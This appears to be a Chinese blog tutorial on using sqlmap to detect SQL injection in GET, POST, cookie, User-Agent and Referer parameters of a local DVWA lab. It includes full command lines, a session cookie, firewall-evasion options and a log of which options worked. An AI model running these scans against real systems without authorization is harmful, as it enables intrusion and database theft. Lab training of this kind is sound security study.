sqlmap使用教程(3)-探测注入漏洞

发布时间:2024年01月23日

1、探测GET参数

以下为探测DVWA靶场low级别的sql注入,以下提交方式为GET,问号(?)将分隔URL和传输的数据,而参数之间以&相连。--auth-cred=admin:password --auth-type=basic (DVWA靶场需要登录,所以需要指定认证类型和凭证)--cookie=(指定cookie值)

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --auth-cred=admin:password --auth-type=basic --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low"

备注:如果需要使用其他字符分隔参数,可以使用--param-del选项进行设置(param是parameter(参数)的简写形式)

2、探测POST参数

dvwa-sql注入级别调整为medium

以上可以确认是POST提交

2.1 -data选项,可以设置为通过POST方式提交数据参数,这里也需要指定cookie.

2.2 选项--forms,可以用来设置自动搜索POST提交的表单参数

2.3 -r 选项支持加载HTTP请求文件,以读取请求的地址及参数,这样就不用手动指定参数

用bp抓取到request请求后,保存到txt文本,txt文本保存到kali当前运行命令的目录下(可以用pwd查看当前目录)

3、探测cookie参数

如果服务器对用户提交的Cookie参数没有进行合法判断,则可能存在注入漏洞,Cookie的保存方式分为临时和永久两种方式。如果没有设置过期时间,Cookie只存在于浏览器会话期间,即只要关闭浏览器窗口,Cookie就失效了。这种Cookie被称为会话Cookie,保存方式是临时的。如果设置了过期时间,浏览器就会把Cookie保存到硬盘上,即关闭后再打开浏览器,这些Cookie依旧有效,直到超过设定的过期时间。这类Cookie的保存方式为永久的。

选项--cookie?? 同时 --level级别需大于等于2(共5个级别,默认为1)

HTTP头部的Cookie参数一般使用分号(;)分隔。如果程序使用了其他分隔符,则可以使用--cookie-del选项进行指定,例如--cookie-del=:(指定了冒号分隔符)

如果Cookie内容比较长,不方便命令行输入,可以使用选项--load-cookies,可以用来指定包含Cookie的文件

通过wget命令可以保存cookie,以下为获取网站cookie,并保存在cookie.txt

探测cookie,指定cookie文件

4、探测UA参数

--level选项设置大于等于3的时候,就会探测UA;另外为了规避Web防火墙根据UA进行跟踪,用户还可以使用随机UA参数,sqlmap提供了选项--random-agent;如果程序只接收移动端的访问,此时可以设置使用手机UA来模仿手机登录--mobile

5、探测Referer参数

Referer参数主要用来告诉服务器当前请求是从哪里链接过来的,使用--level选项,设置测试级别大于或等于3。另外,用户还可以手动指定测试的Referer参数。sqlmap提供了选项--referer,可以用来指定Referer参数的值

6、指定测试参数

-p,用于指定测试的参数。如果要指定多个测试参数,参数之间使用逗号分隔

--randomize? 为了避免被防火墙检测,指定各种随机值(不能和-p同时使用)

--skip,用于跳过对指定参数的测试

--skip-static,可以用来设置跳过测试静态参数

实验记录:

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low"? --level=4 --randomize=id --dbms=mysql----失败

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low"? --dbms=mysql? --batch

---成功

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --randomize=id --dbms=mysql? --batch--失败

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --level=3 --dbms=mysql? --batch--成功

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --randomize='id&submit#'? -banner? --dbms=mysql? --batch--成功

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low"?? --dbms=mysql? --batch --skip-static--失败

sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"? --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low"?? --dbms=mysql? --batch

--成功

结论:--skip-static会影响扫描结果

文章来源:https://blog.csdn.net/fanmeng2008/article/details/135774003
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。